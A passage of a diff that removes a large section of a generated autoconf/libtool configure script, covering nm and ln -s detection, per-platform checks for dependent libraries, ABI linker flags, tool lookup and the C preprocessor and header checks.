- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
- */dev/null*)
- lt_cv_path_NM="$tmp_nm -p"
- break
- ;;
- *)
- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
- continue # so that we can try to find one that supports BSD flags
- ;;
- esac
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
- done
- test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5
-$as_echo "$lt_cv_path_NM" >&6; }
-NM="$lt_cv_path_NM"
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5
-$as_echo_n "checking whether ln -s works... " >&6; }
-LN_S=$as_ln_s
-if test "$LN_S" = "ln -s"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5
-$as_echo "no, using $LN_S" >&6; }
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to recognise dependent libraries" >&5
-$as_echo_n "checking how to recognise dependent libraries... " >&6; }
-if ${lt_cv_deplibs_check_method+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
-# interlibrary dependencies.
-# 'none' -- dependencies not supported.
-# `unknown' -- same as none, but documents that we really don't know.
-# 'pass_all' -- all dependencies passed with no checks.
-# 'test_compile' -- check by making test program.
-# 'file_magic [[regex]]' -- check by looking for files in library path
-# which responds to the $file_magic_cmd with a given extended regex.
-# If you have `file' or equivalent on your system and you're not sure
-# whether `pass_all' will *always* work, you probably want this one.
-
-case $host_os in
-aix4* | aix5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-beos*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-bsdi[45]*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)'
- lt_cv_file_magic_cmd='/usr/bin/file -L'
- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- ;;
-
-mingw* | pw32*)
- # Base MSYS/MinGW do not provide the 'file' command needed by
- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64'
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- ;;
- hppa*64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
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- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
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- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
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- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]'
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- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )'
- ;;
- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib"
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- siemens)
- lt_cv_deplibs_check_method=pass_all
- ;;
- pc)
- lt_cv_deplibs_check_method=pass_all
- ;;
- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
-$as_echo "$lt_cv_deplibs_check_method" >&6; }
-file_magic_cmd=$lt_cv_file_magic_cmd
-deplibs_check_method=$lt_cv_deplibs_check_method
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-
-
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
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-case $host in
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- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
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- (eval $ac_compile) 2>&5
- ac_status=$?
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- test $ac_status = 0; }; then
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- *ELF-32*)
- HPUX_IA64_MODE="32"
- ;;
- *ELF-64*)
- HPUX_IA64_MODE="64"
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
- echo '#line 5244 "configure"' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- if test "$lt_cv_prog_gnu_ld" = yes; then
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -melf32bsmip"
- ;;
- *N32*)
- LD="${LD-ld} -melf32bmipn32"
- ;;
- *64-bit*)
- LD="${LD-ld} -melf64bmip"
- ;;
- esac
- else
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -32"
- ;;
- *N32*)
- LD="${LD-ld} -n32"
- ;;
- *64-bit*)
- LD="${LD-ld} -64"
- ;;
- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.o` in
- *32-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_i386"
- ;;
- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
- ;;
- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5
-$as_echo_n "checking whether the C compiler needs -belf... " >&6; }
-if ${lt_cv_cc_needs_belf+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- lt_cv_cc_needs_belf=yes
-else
- lt_cv_cc_needs_belf=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
-$as_echo "$lt_cv_cc_needs_belf" >&6; }
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.o` in
- *64-bit*)
- case $lt_cv_prog_gnu_ld in
- yes*) LD="${LD-ld} -m elf64_sparc" ;;
- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$DLLTOOL"; then
- ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-DLLTOOL=$ac_cv_prog_DLLTOOL
-if test -n "$DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-$as_echo "$DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_DLLTOOL"; then
- ac_ct_DLLTOOL=$DLLTOOL
- # Extract the first word of "dlltool", so it can be a program name with args.
-set dummy dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_DLLTOOL"; then
- ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_DLLTOOL="dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-if test -n "$ac_ct_DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-$as_echo "$ac_ct_DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_DLLTOOL" = x; then
- DLLTOOL="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- DLLTOOL=$ac_ct_DLLTOOL
- fi
-else
- DLLTOOL="$ac_cv_prog_DLLTOOL"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args.
-set dummy ${ac_tool_prefix}as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AS"; then
- ac_cv_prog_AS="$AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AS="${ac_tool_prefix}as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AS=$ac_cv_prog_AS
-if test -n "$AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5
-$as_echo "$AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AS"; then
- ac_ct_AS=$AS
- # Extract the first word of "as", so it can be a program name with args.
-set dummy as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AS"; then
- ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AS="as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AS=$ac_cv_prog_ac_ct_AS
-if test -n "$ac_ct_AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5
-$as_echo "$ac_ct_AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AS" = x; then
- AS="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AS=$ac_ct_AS
- fi
-else
- AS="$ac_cv_prog_AS"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args.
-set dummy ${ac_tool_prefix}objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$OBJDUMP"; then
- ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-OBJDUMP=$ac_cv_prog_OBJDUMP
-if test -n "$OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5
-$as_echo "$OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_OBJDUMP"; then
- ac_ct_OBJDUMP=$OBJDUMP
- # Extract the first word of "objdump", so it can be a program name with args.
-set dummy objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_OBJDUMP"; then
- ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_OBJDUMP="objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP
-if test -n "$ac_ct_OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5
-$as_echo "$ac_ct_OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_OBJDUMP" = x; then
- OBJDUMP="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- OBJDUMP=$ac_ct_OBJDUMP
- fi
-else
- OBJDUMP="$ac_cv_prog_OBJDUMP"
-fi
-
- ;;
-
-esac
-
-need_locks="$enable_libtool_lock"
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5
-$as_echo_n "checking how to run the C preprocessor... " >&6; }
-# On Suns, sometimes $CPP names a directory.
-if test -n "$CPP" && test -d "$CPP"; then
- CPP=
-fi
-if test -z "$CPP"; then
- if ${ac_cv_prog_CPP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # Double quotes because CPP needs to be expanded
- for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
- do
- ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifdef __STDC__
-# include <limits.h>
-#else
-# include <assert.h>
-#endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
- break
-fi
-
- done
- ac_cv_prog_CPP=$CPP
-
-fi
- CPP=$ac_cv_prog_CPP
-else
- ac_cv_prog_CPP=$CPP
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5
-$as_echo "$CPP" >&6; }
-ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifdef __STDC__
-# include <limits.h>
-#else
-# include <assert.h>
-#endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
-
-else
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "C preprocessor \"$CPP\" fails sanity check
-See \`config.log' for more details" "$LINENO" 5; }
-fi
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$F77"; then
- ac_cv_prog_F77="$F77" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_F77="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-F77=$ac_cv_prog_F77
-if test -n "$F77"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $F77" >&5
-$as_echo "$F77" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- test -n "$F77" && break
- done
-fi
-if test -z "$F77"; then
- ac_ct_F77=$F77
- for ac_prog in g77 xlf f77 frt pgf77 cf77 fort77 fl32 af77 xlf90 f90 pgf90 pghpf epcf90 gfortran g95 xlf95 f95 fort ifort ifc efc pgfortran pgf95 lf95 ftn nagfor
-do
